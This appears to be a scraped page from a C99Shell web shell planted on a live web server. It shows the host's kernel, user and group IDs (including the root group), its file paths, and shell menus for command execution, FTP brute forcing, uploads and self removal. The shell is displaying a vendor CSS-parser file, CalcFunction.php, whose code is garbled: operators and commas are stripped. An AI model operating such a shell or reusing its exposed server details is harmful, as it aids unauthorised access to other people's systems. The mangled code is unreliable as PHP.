!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/sabberworm/php-css-parser/src/Value/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CalcFunction.php (4.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Sabberworm\CSS\Value;

use 
Sabberworm\CSS\Parsing\ParserState;
use 
Sabberworm\CSS\Parsing\UnexpectedEOFException;
use 
Sabberworm\CSS\Parsing\UnexpectedTokenException;

/**
 * Support for `-webkit-calc` and `-moz-calc` is deprecated in version 8.8.0, and will be removed in version 9.0.0.
 */
class CalcFunction extends CSSFunction
{
    
/**
     * @var int
     *
     * @internal
     */
    
const T_OPERAND 1;

    
/**
     * @var int
     *
     * @internal
     */
    
const T_OPERATOR 2;

    
/**
     * @param ParserState $oParserState
     * @param bool $bIgnoreCase
     *
     * @return CalcFunction
     *
     * @throws UnexpectedTokenException
     * @throws UnexpectedEOFException
     *
     * @internal since V8.8.0
     */
    
public static function parse(ParserState $oParserState$bIgnoreCase false)
    {
        
$aOperators = ['+''-''*''/'];
        
$sFunction $oParserState->parseIdentifier();
        if (
$oParserState->peek() != '(') {
            
// Found ; or end of line before an opening bracket
            
throw new UnexpectedTokenException('('$oParserState->peek(), 'literal'$oParserState->currentLine());
        } elseif (!
in_array($sFunction, ['calc''-moz-calc''-webkit-calc'])) {
            
// Found invalid calc definition. Example calc (...
            
throw new UnexpectedTokenException('calc'$sFunction'literal'$oParserState->currentLine());
        }
        
$oParserState->consume('(');
        
$oCalcList = new CalcRuleValueList($oParserState->currentLine());
        
$oList = new RuleValueList(','$oParserState->currentLine());
        
$iNestingLevel 0;
        
$iLastComponentType null;
        while (!
$oParserState->comes(')') || $iNestingLevel 0) {
            if (
$oParserState->isEnd() && $iNestingLevel === 0) {
                break;
            }

            
$oParserState->consumeWhiteSpace();
            if (
$oParserState->comes('(')) {
                
$iNestingLevel++;
                
$oCalcList->addListComponent($oParserState->consume(1));
                
$oParserState->consumeWhiteSpace();
                continue;
            } elseif (
$oParserState->comes(')')) {
                
$iNestingLevel--;
                
$oCalcList->addListComponent($oParserState->consume(1));
                
$oParserState->consumeWhiteSpace();
                continue;
            }
            if (
$iLastComponentType != CalcFunction::T_OPERAND) {
                
$oVal Value::parsePrimitiveValue($oParserState);
                
$oCalcList->addListComponent($oVal);
                
$iLastComponentType CalcFunction::T_OPERAND;
            } else {
                if (
in_array($oParserState->peek(), $aOperators)) {
                    if ((
$oParserState->comes('-') || $oParserState->comes('+'))) {
                        if (
                            
$oParserState->peek(1, -1) != ' '
                            
|| !($oParserState->comes('- ')
                                || 
$oParserState->comes('+ '))
                        ) {
                            throw new 
UnexpectedTokenException(
                                
{$oParserState->peek()} ",
                                
$oParserState->peek(1, -1) . $oParserState->peek(2),
                                
'literal',
                                
$oParserState->currentLine()
                            );
                        }
                    }
                    
$oCalcList->addListComponent($oParserState->consume(1));
                    
$iLastComponentType CalcFunction::T_OPERATOR;
                } else {
                    throw new 
UnexpectedTokenException(
                        
sprintf(
                            
'Next token was expected to be an operand of type %s. Instead "%s" was found.',
                            
implode(', '$aOperators),
                            
$oParserState->peek()
                        ),
                        
'',
                        
'custom',
                        
$oParserState->currentLine()
                    );
                }
            }
            
$oParserState->consumeWhiteSpace();
        }
        
$oList->addListComponent($oCalcList);
        if (!
$oParserState->isEnd()) {
            
$oParserState->consume(')');
        }
        return new 
CalcFunction($sFunction$oList','$oParserState->currentLine());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--